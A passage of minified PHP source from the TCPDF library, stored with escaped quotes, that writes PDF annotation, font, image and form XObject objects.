/\'.$pl[\'opt\'][\'name\'];}else {$annots.=\' /Name /Note\';}$statemodels=array(\'Marked\',\'Review\');if(isset($pl[\'opt\'][\'statemodel\']) AND in_array($pl[\'opt\'][\'statemodel\'],$statemodels)){$annots.=\' /StateModel /\'.$pl[\'opt\'][\'statemodel\'];}else {$pl[\'opt\'][\'statemodel\']=\'Marked\';$annots.=\' /StateModel /\'.$pl[\'opt\'][\'statemodel\'];}if($pl[\'opt\'][\'statemodel\']==\'Marked\'){$states=array(\'Accepted\',\'Unmarked\');}else {$states=array(\'Accepted\',\'Rejected\',\'Cancelled\',\'Completed\',\'None\');}if(isset($pl[\'opt\'][\'state\']) AND in_array($pl[\'opt\'][\'state\'],$states)){$annots.=\' /State /\'.$pl[\'opt\'][\'state\'];}else {if($pl[\'opt\'][\'statemodel\']==\'Marked\'){$annots.=\' /State /Unmarked\';}else {$annots.=\' /State /None\';}}break;}case \'link\':{if(is_string($pl[\'txt\'])){if($pl[\'txt\'][0]==\'#\'){$annots.=\' /Dest /\'.TCPDF_STATIC::encodeNameObject(substr($pl[\'txt\'],1));}elseif($pl[\'txt\'][0]==\'%\'){$filename=basename(substr($pl[\'txt\'],1));$annots.=\' /A << /S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P \'.($n-1).\' /A \'.$this->embeddedfiles[$filename][\'a\'].\' >> >>\';}elseif($pl[\'txt\'][0]==\'*\'){$filename=basename(substr($pl[\'txt\'],1));$jsa=\'var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="\'.$filename.\'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});\';$annots.=\' /A << /S /JavaScript /JS \'.$this->_textstring($jsa,$annot_obj_id).\'>>\';}else {$parsedUrl=parse_url($pl[\'txt\']);if(empty($parsedUrl[\'scheme\']) AND (strtolower(substr($parsedUrl[\'path\'],-4))==\'.pdf\')){$dest=\'[0 /Fit]\';if(!empty($parsedUrl[\'fragment\'])){$tmp=explode(\'=\',$parsedUrl[\'fragment\']);$dest=\'(\'.((count($tmp)==2)?$tmp[1]:$tmp[0]).\')\';}$annots.=\' /A <</S /GoToR /D \'.$dest.\' /F \'.$this->_datastring($this->unhtmlentities($parsedUrl[\'path\']),$annot_obj_id).\' /NewWindow true>>\';}else {$annots.=\' /A <</S /URI /URI \'.$this->_datastring($this->unhtmlentities($pl[\'txt\']),$annot_obj_id).\'>>\';}}}elseif(isset($this->links[$pl[\'txt\']])){$l=$this->links[$pl[\'txt\']];if(isset($this->page_obj_id[($l[\'p\'])])){$annots.=sprintf(\' /Dest [%u 0 R /XYZ 0 %F null]\',$this->page_obj_id[($l[\'p\'])],($this->pagedim[$l[\'p\']][\'h\']-($l[\'y\']*$this->k)));}}$hmodes=array(\'N\',\'I\',\'O\',\'P\');if(isset($pl[\'opt\'][\'h\']) AND in_array($pl[\'opt\'][\'h\'],$hmodes)){$annots.=\' /H /\'.$pl[\'opt\'][\'h\'];}else {$annots.=\' /H /I\';}break;}case \'freetext\':{if(isset($pl[\'opt\'][\'da\']) AND !empty($pl[\'opt\'][\'da\'])){$annots.=\' /DA (\'.$pl[\'opt\'][\'da\'].\')\';}if(isset($pl[\'opt\'][\'q\']) AND ($pl[\'opt\'][\'q\']>=0) AND ($pl[\'opt\'][\'q\']<=2)){$annots.=\' /Q \'.intval($pl[\'opt\'][\'q\']);}if(isset($pl[\'opt\'][\'rc\'])){$annots.=\' /RC \'.$this->_textstring($pl[\'opt\'][\'rc\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'ds\'])){$annots.=\' /DS \'.$this->_textstring($pl[\'opt\'][\'ds\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'cl\']) AND is_array($pl[\'opt\'][\'cl\'])){$annots.=\' /CL [\';foreach($pl[\'opt\'][\'cl\'] as $cl){$annots.=sprintf(\'%F \',$cl*$this->k);}$annots.=\']\';}$tfit=array(\'FreeText\',\'FreeTextCallout\',\'FreeTextTypeWriter\');if(isset($pl[\'opt\'][\'it\']) AND in_array($pl[\'opt\'][\'it\'],$tfit)){$annots.=\' /IT /\'.$pl[\'opt\'][\'it\'];}if(isset($pl[\'opt\'][\'rd\']) AND is_array($pl[\'opt\'][\'rd\'])){$l=$pl[\'opt\'][\'rd\'][0]*$this->k;$r=$pl[\'opt\'][\'rd\'][1]*$this->k;$t=$pl[\'opt\'][\'rd\'][2]*$this->k;$b=$pl[\'opt\'][\'rd\'][3]*$this->k;$annots.=\' /RD [\'.sprintf(\'%F %F %F %F\',$l,$r,$t,$b).\']\';}if(isset($pl[\'opt\'][\'le\']) AND in_array($pl[\'opt\'][\'le\'],$lineendings)){$annots.=\' /LE /\'.$pl[\'opt\'][\'le\'];}break;}case \'line\':{break;}case \'square\':{break;}case \'circle\':{break;}case \'polygon\':{break;}case \'polyline\':{break;}case \'highlight\':{break;}case \'underline\':{break;}case \'squiggly\':{break;}case \'strikeout\':{break;}case \'stamp\':{break;}case \'caret\':{break;}case \'ink\':{break;}case \'popup\':{break;}case \'fileattachment\':{if($this->pdfa_mode){break;}if(!isset($pl[\'opt\'][\'fs\'])){break;}$filename=basename($pl[\'opt\'][\'fs\']);if(isset($this->embeddedfiles[$filename][\'f\'])){$annots.=\' /FS \'.$this->embeddedfiles[$filename][\'f\'].\' 0 R\';$iconsapp=array(\'Graph\',\'Paperclip\',\'PushPin\',\'Tag\');if(isset($pl[\'opt\'][\'name\']) AND in_array($pl[\'opt\'][\'name\'],$iconsapp)){$annots.=\' /Name /\'.$pl[\'opt\'][\'name\'];}else {$annots.=\' /Name /PushPin\';}$this->embeddedfiles[$filename][\'a\']=$key;}break;}case \'sound\':{if(!isset($pl[\'opt\'][\'fs\'])){break;}$filename=basename($pl[\'opt\'][\'fs\']);if(isset($this->embeddedfiles[$filename][\'f\'])){$annots.=\' /Sound \'.$this->embeddedfiles[$filename][\'f\'].\' 0 R\';$iconsapp=array(\'Speaker\',\'Mic\');if(isset($pl[\'opt\'][\'name\']) AND in_array($pl[\'opt\'][\'name\'],$iconsapp)){$annots.=\' /Name /\'.$pl[\'opt\'][\'name\'];}else {$annots.=\' /Name /Speaker\';}}break;}case \'movie\':{break;}case \'widget\':{$hmode=array(\'N\',\'I\',\'O\',\'P\',\'T\');if(isset($pl[\'opt\'][\'h\']) AND in_array($pl[\'opt\'][\'h\'],$hmode)){$annots.=\' /H /\'.$pl[\'opt\'][\'h\'];}if(isset($pl[\'opt\'][\'mk\']) AND (is_array($pl[\'opt\'][\'mk\'])) AND !empty($pl[\'opt\'][\'mk\'])){$annots.=\' /MK <<\';if(isset($pl[\'opt\'][\'mk\'][\'r\'])){$annots.=\' /R \'.$pl[\'opt\'][\'mk\'][\'r\'];}if(isset($pl[\'opt\'][\'mk\'][\'bc\']) AND (is_array($pl[\'opt\'][\'mk\'][\'bc\']))){$annots.=\' /BC \'.TCPDF_COLORS::getColorStringFromArray($pl[\'opt\'][\'mk\'][\'bc\']);}if(isset($pl[\'opt\'][\'mk\'][\'bg\']) AND (is_array($pl[\'opt\'][\'mk\'][\'bg\']))){$annots.=\' /BG \'.TCPDF_COLORS::getColorStringFromArray($pl[\'opt\'][\'mk\'][\'bg\']);}if(isset($pl[\'opt\'][\'mk\'][\'ca\'])){$annots.=\' /CA \'.$pl[\'opt\'][\'mk\'][\'ca\'];}if(isset($pl[\'opt\'][\'mk\'][\'rc\'])){$annots.=\' /RC \'.$pl[\'opt\'][\'mk\'][\'rc\'];}if(isset($pl[\'opt\'][\'mk\'][\'ac\'])){$annots.=\' /AC \'.$pl[\'opt\'][\'mk\'][\'ac\'];}if(isset($pl[\'opt\'][\'mk\'][\'i\'])){$info=$this->getImageBuffer($pl[\'opt\'][\'mk\'][\'i\']);if($info!==false){$annots.=\' /I \'.$info[\'n\'].\' 0 R\';}}if(isset($pl[\'opt\'][\'mk\'][\'ri\'])){$info=$this->getImageBuffer($pl[\'opt\'][\'mk\'][\'ri\']);if($info!==false){$annots.=\' /RI \'.$info[\'n\'].\' 0 R\';}}if(isset($pl[\'opt\'][\'mk\'][\'ix\'])){$info=$this->getImageBuffer($pl[\'opt\'][\'mk\'][\'ix\']);if($info!==false){$annots.=\' /IX \'.$info[\'n\'].\' 0 R\';}}if(isset($pl[\'opt\'][\'mk\'][\'if\']) AND (is_array($pl[\'opt\'][\'mk\'][\'if\'])) AND !empty($pl[\'opt\'][\'mk\'][\'if\'])){$annots.=\' /IF <<\';$if_sw=array(\'A\',\'B\',\'S\',\'N\');if(isset($pl[\'opt\'][\'mk\'][\'if\'][\'sw\']) AND in_array($pl[\'opt\'][\'mk\'][\'if\'][\'sw\'],$if_sw)){$annots.=\' /SW /\'.$pl[\'opt\'][\'mk\'][\'if\'][\'sw\'];}$if_s=array(\'A\',\'P\');if(isset($pl[\'opt\'][\'mk\'][\'if\'][\'s\']) AND in_array($pl[\'opt\'][\'mk\'][\'if\'][\'s\'],$if_s)){$annots.=\' /S /\'.$pl[\'opt\'][\'mk\'][\'if\'][\'s\'];}if(isset($pl[\'opt\'][\'mk\'][\'if\'][\'a\']) AND (is_array($pl[\'opt\'][\'mk\'][\'if\'][\'a\'])) AND !empty($pl[\'opt\'][\'mk\'][\'if\'][\'a\'])){$annots.=sprintf(\' /A [%F %F]\',$pl[\'opt\'][\'mk\'][\'if\'][\'a\'][0],$pl[\'opt\'][\'mk\'][\'if\'][\'a\'][1]);}if(isset($pl[\'opt\'][\'mk\'][\'if\'][\'fb\']) AND ($pl[\'opt\'][\'mk\'][\'if\'][\'fb\'])){$annots.=\' /FB true\';}$annots.=\'>>\';}if(isset($pl[\'opt\'][\'mk\'][\'tp\']) AND ($pl[\'opt\'][\'mk\'][\'tp\']>=0) AND ($pl[\'opt\'][\'mk\'][\'tp\']<=6)){$annots.=\' /TP \'.intval($pl[\'opt\'][\'mk\'][\'tp\']);}$annots.=\'>>\';}if(isset($this->radiobutton_groups[$n][$pl[\'txt\']])){$annots.=\' /Parent \'.$this->radiobutton_groups[$n][$pl[\'txt\']].\' 0 R\';}if(isset($pl[\'opt\'][\'t\']) AND is_string($pl[\'opt\'][\'t\'])){$annots.=\' /T \'.$this->_datastring($pl[\'opt\'][\'t\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'tu\']) AND is_string($pl[\'opt\'][\'tu\'])){$annots.=\' /TU \'.$this->_datastring($pl[\'opt\'][\'tu\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'tm\']) AND is_string($pl[\'opt\'][\'tm\'])){$annots.=\' /TM \'.$this->_datastring($pl[\'opt\'][\'tm\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'ff\'])){if(is_array($pl[\'opt\'][\'ff\'])){$flag=0;foreach($pl[\'opt\'][\'ff\'] as $val){$flag+=1<<($val-1);}}else {$flag=intval($pl[\'opt\'][\'ff\']);}$annots.=\' /Ff \'.$flag;}if(isset($pl[\'opt\'][\'maxlen\'])){$annots.=\' /MaxLen \'.intval($pl[\'opt\'][\'maxlen\']);}if(isset($pl[\'opt\'][\'v\'])){$annots.=\' /V\';if(is_array($pl[\'opt\'][\'v\'])){foreach($pl[\'opt\'][\'v\'] AS $optval){if(is_float($optval)){$optval=sprintf(\'%F\',$optval);}$annots.=\' \'.$optval;}}else {$annots.=\' \'.$this->_textstring($pl[\'opt\'][\'v\'],$annot_obj_id);}}if(isset($pl[\'opt\'][\'dv\'])){$annots.=\' /DV\';if(is_array($pl[\'opt\'][\'dv\'])){foreach($pl[\'opt\'][\'dv\'] AS $optval){if(is_float($optval)){$optval=sprintf(\'%F\',$optval);}$annots.=\' \'.$optval;}}else {$annots.=\' \'.$this->_textstring($pl[\'opt\'][\'dv\'],$annot_obj_id);}}if(isset($pl[\'opt\'][\'rv\'])){$annots.=\' /RV\';if(is_array($pl[\'opt\'][\'rv\'])){foreach($pl[\'opt\'][\'rv\'] AS $optval){if(is_float($optval)){$optval=sprintf(\'%F\',$optval);}$annots.=\' \'.$optval;}}else {$annots.=\' \'.$this->_textstring($pl[\'opt\'][\'rv\'],$annot_obj_id);}}if(isset($pl[\'opt\'][\'a\']) AND !empty($pl[\'opt\'][\'a\'])){$annots.=\' /A << \'.$pl[\'opt\'][\'a\'].\' >>\';}if(isset($pl[\'opt\'][\'aa\']) AND !empty($pl[\'opt\'][\'aa\'])){$annots.=\' /AA << \'.$pl[\'opt\'][\'aa\'].\' >>\';}if(isset($pl[\'opt\'][\'da\']) AND !empty($pl[\'opt\'][\'da\'])){$annots.=\' /DA (\'.$pl[\'opt\'][\'da\'].\')\';}if(isset($pl[\'opt\'][\'q\']) AND ($pl[\'opt\'][\'q\']>=0) AND ($pl[\'opt\'][\'q\']<=2)){$annots.=\' /Q \'.intval($pl[\'opt\'][\'q\']);}if(isset($pl[\'opt\'][\'opt\']) AND (is_array($pl[\'opt\'][\'opt\'])) AND !empty($pl[\'opt\'][\'opt\'])){$annots.=\' /Opt [\';foreach($pl[\'opt\'][\'opt\'] AS $copt){if(is_array($copt)){$annots.=\' [\'.$this->_textstring($copt[0],$annot_obj_id).\' \'.$this->_textstring($copt[1],$annot_obj_id).\']\';}else {$annots.=\' \'.$this->_textstring($copt,$annot_obj_id);}}$annots.=\']\';}if(isset($pl[\'opt\'][\'ti\'])){$annots.=\' /TI \'.intval($pl[\'opt\'][\'ti\']);}if(isset($pl[\'opt\'][\'i\']) AND (is_array($pl[\'opt\'][\'i\'])) AND !empty($pl[\'opt\'][\'i\'])){$annots.=\' /I [\';foreach($pl[\'opt\'][\'i\'] AS $copt){$annots.=intval($copt).\' \';}$annots.=\']\';}break;}case \'screen\':{break;}case \'printermark\':{break;}case \'trapnet\':{break;}case \'watermark\':{break;}case \'3d\':{break;}default:{break;}}$annots.=\'>>\';$this->_out($this->_getobj($annot_obj_id)."
".$annots."
".\'endobj\');if($formfield AND !isset($this->radiobutton_groups[$n][$pl[\'txt\']])){$this->form_obj_id[]=$annot_obj_id;}}}}} function _putAPXObject($w=0,$h=0,$stream=\'\'){$stream=trim($stream);$out=$this->_getobj()."
";$this->xobjects[\'AX\'.$this->n]=array(\'n\'=>$this->n);$out.=\'<<\';$out.=\' /Type /XObject\';$out.=\' /Subtype /Form\';$out.=\' /FormType 1\';if($this->compress){$stream=gzcompress($stream);$out.=\' /Filter /FlateDecode\';}$rect=sprintf(\'%F %F\',$w,$h);$out.=\' /BBox [0 0 \'.$rect.\']\';$out.=\' /Matrix [1 0 0 1 0 0]\';$out.=\' /Resources 2 0 R\';$stream=$this->_getrawstream($stream);$out.=\' /Length \'.strlen($stream);$out.=\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
".\'endobj\';$this->_out($out);return $this->n;} function _putfonts(){$nf=$this->n;foreach($this->diffs as $diff){$this->_newobj();$this->_out(\'<< /Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences [\'.$diff.\'] >>\'."
".\'endobj\');}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);foreach($this->FontFiles as $file=>$info){$fontfile=TCPDF_FONTS::getFontFullPath($file,$info[\'fontdir\']);if(!TCPDF_STATIC::empty_string($fontfile)){$font=file_get_contents($fontfile);$compressed=(substr($file,-2)==\'.z\');if((!$compressed) AND (isset($info[\'length2\']))){$header=(ord($font[0])==128);if($header){$font=substr($font,6);}if($header AND (ord($font[$info[\'length1\']])==128)){$font=substr($font,0,$info[\'length1\']).substr($font,($info[\'length1\']+6));}}elseif($info[\'subset\'] AND ((!$compressed) OR ($compressed AND function_exists(\'gzcompress\')))){if($compressed){$font=gzuncompress($font);}$subsetchars=array();foreach($info[\'fontkeys\'] as $fontkey){$fontinfo=$this->getFontBuffer($fontkey);$subsetchars+=$fontinfo[\'subsetchars\'];}$font=TCPDF_FONTS::_getTrueTypeFontSubset($font,$subsetchars);$info[\'length1\']=strlen($font);if($compressed){$font=gzcompress($font);}}$this->_newobj();$this->FontFiles[$file][\'n\']=$this->n;$stream=$this->_getrawstream($font);$out=\'<< /Length \'.strlen($stream);if($compressed){$out.=\' /Filter /FlateDecode\';}$out.=\' /Length1 \'.$info[\'length1\'];if(isset($info[\'length2\'])){$out.=\' /Length2 \'.$info[\'length2\'].\' /Length3 0\';}$out.=\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
".\'endobj\';$this->_out($out);}}TCPDF_STATIC::set_mqr($mqr);foreach($this->fontkeys as $k){$font=$this->getFontBuffer($k);$type=$font[\'type\'];$name=$font[\'name\'];if($type==\'core\'){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.=\'<</Type /Font\';$out.=\' /Subtype /Type1\';$out.=\' /BaseFont /\'.$name;$out.=\' /Name /F\'.$font[\'i\'];if((strtolower($name)!=\'symbol\') AND (strtolower($name)!=\'zapfdingbats\')){$out.=\' /Encoding /WinAnsiEncoding\';}if($k==\'helvetica\'){$this->annotation_fonts[$k]=$font[\'i\'];}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);}elseif(($type==\'Type1\') OR ($type==\'TrueType\')){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.=\'<</Type /Font\';$out.=\' /Subtype /\'.$type;$out.=\' /BaseFont /\'.$name;$out.=\' /Name /F\'.$font[\'i\'];$out.=\' /FirstChar 32 /LastChar 255\';$out.=\' /Widths \'.($this->n+1).\' 0 R\';$out.=\' /FontDescriptor \'.($this->n+2).\' 0 R\';if($font[\'enc\']){if(isset($font[\'diff\'])){$out.=\' /Encoding \'.($nf+$font[\'diff\']).\' 0 R\';}else {$out.=\' /Encoding /WinAnsiEncoding\';}}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->_newobj();$s=\'[\';for($i=32;$i<256;++$i){if(isset($font[\'cw\'][$i])){$s.=$font[\'cw\'][$i].\' \';}else {$s.=$font[\'dw\'].\' \';}}$s.=\']\';$s.="
".\'endobj\';$this->_out($s);$this->_newobj();$s=\'<</Type /FontDescriptor /FontName /\'.$name;foreach($font[\'desc\'] as $fdk=>$fdv){if(is_float($fdv)){$fdv=sprintf(\'%F\',$fdv);}$s.=\' /\'.$fdk.\' \'.$fdv.\'\';}if(!TCPDF_STATIC::empty_string($font[\'file\'])){$s.=\' /FontFile\'.($type==\'Type1\'?\'\':\'2\').\' \'.$this->FontFiles[$font[\'file\']][\'n\'].\' 0 R\';}$s.=\'>>\';$s.="
".\'endobj\';$this->_out($s);}else {$mtd=\'_put\'.strtolower($type);if(!method_exists($this,$mtd)){$this->Error(\'Unsupported font type: \'.$type);}$this->$mtd($font);}}} function _puttruetypeunicode($font){$fontname=\'\';if($font[\'subset\']){$subtag=sprintf(\'%06u\',$font[\'i\']);$subtag=strtr($subtag,\'0123456789\',\'ABCDEFGHIJ\');$fontname.=$subtag.\'+\';}$fontname.=$font[\'name\'];$out=$this->_getobj($this->font_obj_ids[$font[\'fontkey\']])."
";$out.=\'<< /Type /Font\';$out.=\' /Subtype /Type0\';$out.=\' /BaseFont /\'.$fontname;$out.=\' /Name /F\'.$font[\'i\'];$out.=\' /Encoding /\'.$font[\'enc\'];$out.=\' /ToUnicode \'.($this->n+1).\' 0 R\';$out.=\' /DescendantFonts [\'.($this->n+2).\' 0 R]\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$stream=TCPDF_FONT_DATA::$uni_identity_h;$this->_newobj();$stream=($this->compress)?gzcompress($stream):$stream;$filter=($this->compress)?\'/Filter /FlateDecode \':\'\';$stream=$this->_getrawstream($stream);$this->_out(\'<<\'.$filter.\'/Length \'.strlen($stream).\'>> stream\'."
".$stream."
".\'endstream\'."
".\'endobj\');$oid=$this->_newobj();$out=\'<< /Type /Font\';$out.=\' /Subtype /CIDFontType2\';$out.=\' /BaseFont /\'.$fontname;$cidinfo=\'/Registry \'.$this->_datastring($font[\'cidinfo\'][\'Registry\'],$oid);$cidinfo.=\' /Ordering \'.$this->_datastring($font[\'cidinfo\'][\'Ordering\'],$oid);$cidinfo.=\' /Supplement \'.$font[\'cidinfo\'][\'Supplement\'];$out.=\' /CIDSystemInfo << \'.$cidinfo.\' >>\';$out.=\' /FontDescriptor \'.($this->n+1).\' 0 R\';$out.=\' /DW \'.$font[\'dw\'];$out.="
".TCPDF_FONTS::_putfontwidths($font,0);if(isset($font[\'ctg\']) AND (!TCPDF_STATIC::empty_string($font[\'ctg\']))){$out.="
".\'/CIDToGIDMap \'.($this->n+2).\' 0 R\';}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->_newobj();$out=\'<< /Type /FontDescriptor\';$out.=\' /FontName /\'.$fontname;foreach($font[\'desc\'] as $key=>$value){if(is_float($value)){$value=sprintf(\'%F\',$value);}$out.=\' /\'.$key.\' \'.$value;}$fontdir=false;if(!TCPDF_STATIC::empty_string($font[\'file\'])){$out.=\' /FontFile2 \'.$this->FontFiles[$font[\'file\']][\'n\'].\' 0 R\';$fontdir=$this->FontFiles[$font[\'file\']][\'fontdir\'];}$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);if(isset($font[\'ctg\']) AND (!TCPDF_STATIC::empty_string($font[\'ctg\']))){$this->_newobj();$ctgfile=strtolower($font[\'ctg\']);$fontfile=TCPDF_FONTS::getFontFullPath($ctgfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$this->Error(\'Font file not found: \'.$ctgfile);}$stream=$this->_getrawstream(file_get_contents($fontfile));$out=\'<< /Length \'.strlen($stream).\'\';if(substr($fontfile,-2)==\'.z\'){$out.=\' /Filter /FlateDecode\';}$out.=\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';$out.="
".\'endobj\';$this->_out($out);}} function _putcidfont0($font){$cidoffset=0;if(!isset($font[\'cw\'][1])){$cidoffset=31;}if(isset($font[\'cidinfo\'][\'uni2cid\'])){$uni2cid=$font[\'cidinfo\'][\'uni2cid\'];$cw=array();foreach($font[\'cw\'] as $uni=>$width){if(isset($uni2cid[$uni])){$cw[($uni2cid[$uni]+$cidoffset)]=$width;}elseif($uni<256){$cw[$uni]=$width;}}$font=array_merge($font,array(\'cw\'=>$cw));}$name=$font[\'name\'];$enc=$font[\'enc\'];if($enc){$longname=$name.\'-\'.$enc;}else {$longname=$name;}$out=$this->_getobj($this->font_obj_ids[$font[\'fontkey\']])."
";$out.=\'<</Type /Font\';$out.=\' /Subtype /Type0\';$out.=\' /BaseFont /\'.$longname;$out.=\' /Name /F\'.$font[\'i\'];if($enc){$out.=\' /Encoding /\'.$enc;}$out.=\' /DescendantFonts [\'.($this->n+1).\' 0 R]\';$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$oid=$this->_newobj();$out=\'<</Type /Font\';$out.=\' /Subtype /CIDFontType0\';$out.=\' /BaseFont /\'.$name;$cidinfo=\'/Registry \'.$this->_datastring($font[\'cidinfo\'][\'Registry\'],$oid);$cidinfo.=\' /Ordering \'.$this->_datastring($font[\'cidinfo\'][\'Ordering\'],$oid);$cidinfo.=\' /Supplement \'.$font[\'cidinfo\'][\'Supplement\'];$out.=\' /CIDSystemInfo <<\'.$cidinfo.\'>>\';$out.=\' /FontDescriptor \'.($this->n+1).\' 0 R\';$out.=\' /DW \'.$font[\'dw\'];$out.="
".TCPDF_FONTS::_putfontwidths($font,$cidoffset);$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$this->_newobj();$s=\'<</Type /FontDescriptor /FontName /\'.$name;foreach($font[\'desc\'] as $k=>$v){if($k!=\'Style\'){if(is_float($v)){$v=sprintf(\'%F\',$v);}$s.=\' /\'.$k.\' \'.$v.\'\';}}$s.=\'>>\';$s.="
".\'endobj\';$this->_out($s);} function _putimages(){$filter=($this->compress)?\'/Filter /FlateDecode \':\'\';foreach($this->imagekeys as $file){$info=$this->getImageBuffer($file);if((!$this->pdfa_mode) AND isset($info[\'altimgs\']) AND !empty($info[\'altimgs\'])){$altoid=$this->_newobj();$out=\'[\';foreach($info[\'altimgs\'] as $altimage){if(isset($this->xobjects[\'I\'.$altimage[0]][\'n\'])){$out.=\' << /Image \'.$this->xobjects[\'I\'.$altimage[0]][\'n\'].\' 0 R\';$out.=\' /DefaultForPrinting\';if($altimage[1]===true){$out.=\' true\';}else {$out.=\' false\';}$out.=\' >>\';}}$out.=\' ]\';$out.="
".\'endobj\';$this->_out($out);}$oid=$this->_newobj();$this->xobjects[\'I\'.$info[\'i\']]=array(\'n\'=>$oid);$this->setImageSubBuffer($file,\'n\',$this->n);$out=\'<</Type /XObject\';$out.=\' /Subtype /Image\';$out.=\' /Width \'.$info[\'w\'];$out.=\' /Height \'.$info[\'h\'];if(array_key_exists(\'masked\',$info)){$out.=\' /SMask \'.($this->n-1).\' 0 R\';}$icc=false;if(isset($info[\'icc\']) AND ($info[\'icc\']!==false)){$icc=true;$out.=\' /ColorSpace [/ICCBased \'.($this->n+1).\' 0 R]\';}elseif($info[\'cs\']==\'Indexed\'){$out.=\' /ColorSpace [/Indexed /DeviceRGB \'.((strlen($info[\'pal\'])/3)-1).\' \'.($this->n+1).\' 0 R]\';}else {$out.=\' /ColorSpace /\'.$info[\'cs\'];}if($info[\'cs\']==\'DeviceCMYK\'){$out.=\' /Decode [1 0 1 0 1 0 1 0]\';}$out.=\' /BitsPerComponent \'.$info[\'bpc\'];if(isset($altoid) AND ($altoid>0)){$out.=\' /Alternates \'.$altoid.\' 0 R\';}if(isset($info[\'exurl\']) AND !empty($info[\'exurl\'])){$out.=\' /Length 0\';$out.=\' /F << /FS /URL /F \'.$this->_datastring($info[\'exurl\'],$oid).\' >>\';if(isset($info[\'f\'])){$out.=\' /FFilter /\'.$info[\'f\'];}$out.=\' >>\';$out.=\' stream\'."
".\'endstream\';}else {if(isset($info[\'f\'])){$out.=\' /Filter /\'.$info[\'f\'];}if(isset($info[\'parms\'])){$out.=\' \'.$info[\'parms\'];}if(isset($info[\'trns\']) AND is_array($info[\'trns\'])){$trns=\'\';$count_info=count($info[\'trns\']);if($info[\'cs\']==\'Indexed\'){$maxval=(pow(2,$info[\'bpc\'])-1);for($i=0;$i<$count_info;++$i){if(($info[\'trns\'][$i]!=0) AND ($info[\'trns\'][$i]!=$maxval)){$trns=\'\';break;}elseif(empty($trns) AND ($info[\'trns\'][$i]==0)){$trns.=$i.\' \'.$i.\' \';}}}else {for($i=0;$i<$count_info;++$i){if($info[\'trns\'][$i]==0){$trns.=$info[\'trns\'][$i].\' \'.$info[\'trns\'][$i].\' \';}}}if(!empty($trns)){$out.=\' /Mask [\'.$trns.\']\';}}$stream=$this->_getrawstream($info[\'data\']);$out.=\' /Length \'.strlen($stream).\' >>\';$out.=\' stream\'."
".$stream."
".\'endstream\';}$out.="
".\'endobj\';$this->_out($out);if($icc){$this->_newobj();$icc=($this->compress)?gzcompress($info[\'icc\']):$info[\'icc\'];$icc=$this->_getrawstream($icc);$this->_out(\'<</N \'.$info[\'ch\'].\' /Alternate /\'.$info[\'cs\'].\' \'.$filter.\'/Length \'.strlen($icc).\'>> stream\'."
".$icc."
".\'endstream\'."
".\'endobj\');}elseif($info[\'cs\']==\'Indexed\'){$this->_newobj();$pal=($this->compress)?gzcompress($info[\'pal\']):$info[\'pal\'];$pal=$this->_getrawstream($pal);$this->_out(\'<<\'.$filter.\'/Length \'.strlen($pal).\'>> stream\'."
".$pal."
".\'endstream\'."
".\'endobj\');}}} function _putxobjects(){foreach($this->xobjects as $key=>$data){if(isset($data[\'outdata\'])){$stream=str_replace($this->epsmarker,\'\',trim($data[\'outdata\']));$out=$this->_getobj($data[\'n\'])."
";$out.=\'<<\';$out.=\' /Type /XObject\';$out.=\' /Subtype /Form\';$out.=\' /FormType 1\';if($this->compress){$stream=gzcompress($stream);$out.=\' /Filter /FlateDecode\';}$out.=sprintf(\' /BBox [%F %F %F %F]\',($data[\'x\']*$this->k),(-$data[\'y\']*$this->k),(($data[\'w\']+$data[\'x\'])*$this->k),(($data[\'h\']-$data[\'y\'])*$this->k));$out.=\' /Matrix [1 0 0 1 0 0]\';$out.=\' /Resources <<\';$out.=\' /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]\';if(!$this->pdfa_mode){if(isset($data[\'extgstates\']) AND !empty($data[\'extgstates\'])){$out.=\' /ExtGState <<\';foreach($data[\'extgstates\'] as $k=>$extgstate){if(isset($this->extgstates[$k][\'name\'])){$out.=\' /\'.$this->extgstates[$k][\'name\'];}else {$out.=\' /GS\'.$k;}$out.=\' \'.$this->extgstates[$k][\'n\'].\' 0 R\';}$out.=\' >>\';}if(isset($data[\'gradients\']) AND !empty($data[\'gradients\'])){$gp=\'\';$gs=\'\';foreach($data[\'gradients\'] as $id=>$grad){$gp.=\' /p\'.$id.\' \'.$this->gradients[$id][\'pattern\'].\' 0 R\';$gs.=\' /Sh\'.$id.\' \'.$this->gradients[$id][\'id\'].\' 0 R\';}$out.=\' /Pattern <<\'.$gp.\' >>\';$out.=\' /Shading <<\'.$gs.\' >>\';}}if(isset($data[\'spot_colors\']) AND !empty($data[\'spot_colors\'])){$out.=\' /ColorSpace <<\';foreach($data[\'spot_colors\'] as $name=>$color){$out.=\' /CS\'.$color[\'i\'].\' \'.$this->spot_colors[$name][\'n\'].\' 0 R\';}$out.=\' >>\';}if(!empty($data[\'fonts\'])){$out.=\' /Font <<\';foreach($data[\'fonts\'] as $fontkey=>$fontid){$out.=\' /F\'.$fontid.\' \'.$this->font_obj_ids[$fontkey].\' 0 R\';}$out.=\' >>\';}if(!empty($data[\'images\']) OR !empty($data[\'xobjects\'])){$out.=\' /XObject <<\';foreach($data[\'images\'] as $imgid){$out.=\' /I\'.$imgid.\' \'.$this->xobjects[\'I\'.$imgid][\'n\'].\' 0 R\';}foreach($data[\'xobjects\'] as $sub_id=>$sub_objid){$out.=\' /\'.$sub_id.\' \'.$sub_objid[\'n\'].\' 